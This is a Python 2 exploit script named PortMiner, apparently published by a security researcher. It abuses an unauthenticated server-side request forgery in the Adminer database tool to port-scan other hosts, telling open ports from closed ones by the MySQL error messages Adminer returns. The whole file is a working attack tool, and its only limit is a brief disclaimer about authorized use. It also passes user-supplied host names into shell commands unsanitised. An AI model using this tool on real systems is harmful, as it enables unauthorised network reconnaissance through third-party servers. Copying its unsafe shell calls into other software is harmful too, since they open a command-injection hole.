import socket,re,ssl,warnings,subprocess,time from platform import system as system_name from os import system as system_call #Adminer Server Side Request Forgery #PortMiner Scanner Tool #by John Page (hyp3rlinx) #ISR: ApparitionSec #hyp3rlinx.altervista.org #========================= #D1rty0Tis says hi. #timeout MAX_TIME=32 #ports to log port_lst=[] #Web server response often times out but usually means ports open. false_pos_ports=['80','443'] BANNER=''' ____ _ __ __ _ | _ \ | | | \/ (_) | |__) |__ _ __| |_| \ / |_ _ __ ___ _ __ | ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__| | | | (_) | | | |_| | | | | | | | __/ | |_| \___/|_| \__|_| |_|_|_| |_|\___|_| ''' def info(): print "\nPortMiner depends on Error messages to determine open/closed ports." print "Read operations reported 'timed out' may be open/filtered.\n" def greet(): print 'Adminer Unauthenticated SSRF Port Scanner Tool' print 'Targets Adminer used for MySQL administration\n' print 'by hyp3rlinx - apparition security' print '-----------------------------------------------------\n' print 'Scan small ranges or single ports or expect to wait.\n' print 'Do not scan networks without authorized permission.' print 'Author not responsible for abuse/misuse.\n' def chk_ports(p): p=p.replace('-',',') port_arg=p.split(',') try: if len(port_arg)>1: if int(port_arg[1]) < int(port_arg[0]): print 'Port range not valid.' raw_input() return if int(port_arg[1])>65535: print 'Exceeded max Port range 65535.' raw_input() return except Exception as e: print str(e) return None return list(range(int(port_arg[0]),int(port_arg[1])+1)) def log(IP): try: file=open('PortMiner.txt', 'w') file.write(IP+'\n') for p in port_lst: file.write(p+'\n') file.close() except Exception as e: print str(e) print "\nSee PortMiner.txt" def use_ssl(ADMINER,ADMINER_PORT): try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ADMINER,int(ADMINER_PORT))) s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) s.close() except Exception as e: print "" return False return True def version(ip,port,uri,use_ssl): res="" try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,int(port))) if use_ssl: s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) s.send('GET '+'/'+uri+'/?server='+':'+'&username=\r\n\r\n') except Exception as e: print 'Host up but cant connect.' #str(e) print 'Re-check Host/Port/URI.' s.close() return 504 while True: RES=s.recv(512) if RES.find('Forbidden')!=-1: print 'Forbidden 403' s.close() return None if RES.find('401 Authorization Required')!=-1: print '401 Authorization Required' s.close() return None ver = re.findall(r'(.*)',RES,re.DOTALL|re.MULTILINE) if not RES: s.close() return None if ver: print 'Your Adminer '+ ver[0] + ' works for us now.' s.close() return ver s.close() return None def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL): global MAX_TIME,port_range RES='' print 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...' for aPort in port_range: aPort=str(aPort) try: s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(MAX_TIME) s.connect((ADMINER,ADMINER_PORT)) if USE_SSL: s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) s.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username= HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n') except Exception as e: print str(e) s.close() return while True: try: RES=s.recv(512) ###print RES ###Should see HTTP/1.1 403 not 200 if RES.find('HTTP/1.1 200 OK')!=-1: print 'port '+aPort + ' open' port_lst.append(aPort+' open') s.close() break if RES.find('400 Bad Request')!=-1: print '400 Bad Request, check params' s.close() break raw_input() lst=re.findall(r"([^\n
].*connect to MySQL server on.*[^
\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)"+ "|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)", RES) if lst: status=str(lst) if status.find('connect to MySQL')!=-1: if PRINT_CLOSED: print 'port '+ aPort + ' closed' s.close() break elif status.find('machine actively refused it.')!=-1: if PRINT_CLOSED: print 'port '+ aPort + ' closed' s.close() break elif status.find('A connection attempt failed')!=-1: if PRINT_CLOSED: print 'port '+ aPort + ' closed' s.close() break elif status.find('reading initial communication packet')!=-1: print 'port '+aPort + ' open' port_lst.append(aPort+' open') s.close() break elif status.find('MySQL server has gone away')!=-1: print 'port '+aPort + ' open' port_lst.append(aPort+' open') s.close() break elif status.find('Bad file descriptor')!=-1: print 'port '+aPort + ' open' port_lst.append(aPort+' open') s.close() break elif status.find('Got packets out of order')!=-1: print 'port '+aPort + ' open' s.close() break except Exception as e: msg = str(e) ###print msg if msg.find('timed out')!=-1 and aPort in false_pos_ports: print 'port '+aPort + ' open' port_lst.append(aPort+' open') s.close() break elif msg.find('timed out')!=-1: print 'port '+aPort + ' timed out' port_lst.append(aPort+' read operation timed out') s.close() break else: s.close() break if port_lst: log(TARGET) else: print "Scan completed, no ports mined." return 0 def arp(host): args = "-a" if system_name().lower()=="windows" else "-e" return subprocess.call("arp " + args + " " + host, shell=True) == 0 def ping_host(host): args = "-n 1" if system_name().lower()=="windows" else "-c 1" res=subprocess.call("ping " + args + " " + host, shell=True) == 0 if not res: print str(host) + ' down? trying ARP' if not arp(host): print str(host) + ' unreachable.' return return res def main(): global port_range print BANNER greet() ADMINER_VERSION=False PRINT_CLOSED=False USE_SSL=None ADMINER=raw_input('[+] Adminer Host/IP> ') if ADMINER=='': print 'Enter valid Host/IP' ADMINER=raw_input('[+] Adminer Host/IP> ') ADMINER_PORT=raw_input('[+] Adminer Port> ') if not re.search("^\d{1,5}$",ADMINER_PORT): print 'Enter a valid Port.' ADMINER_PORT=raw_input('[+] Adminer Port> ') ADMINER_URI=raw_input('[+] Adminer URI [the adminer-.php OR adminer/ dir path] > ') TARGET=raw_input('[+] Host/IP to Scan> ') PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','') plst=re.findall(r"(\d{1,5})-(\d{1,5})",PORTS_TO_SCAN) if not plst: print 'Invalid ports, format is 1-1025' return raw_input() #console up port_range=chk_ports(PORTS_TO_SCAN) if not port_range: return PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ') if PRINT_CLOSED=='1': PRINT_CLOSED=True else: PRINT_CLOSED=False if not ping_host(ADMINER): print 'host %s not reachable or blocking ping ' % ADMINER cont=raw_input('Continue with scan? 1=Yes any key for No> ') if cont!='1': print 'Scan aborted.' raw_input() #console up return USE_SSL=use_ssl(ADMINER,ADMINER_PORT) time.sleep(2) ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL) if not ADMINER_VERSION: print "Can't retrieve Adminer script. check supplied URI." raw_input() #console up return else: if ADMINER_VERSION==504: raw_input() #console up return if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0: more=raw_input('Info: 1=Yes, any key for No> ') if more=='1': info() raw_input() #console up if __name__=='__main__': main()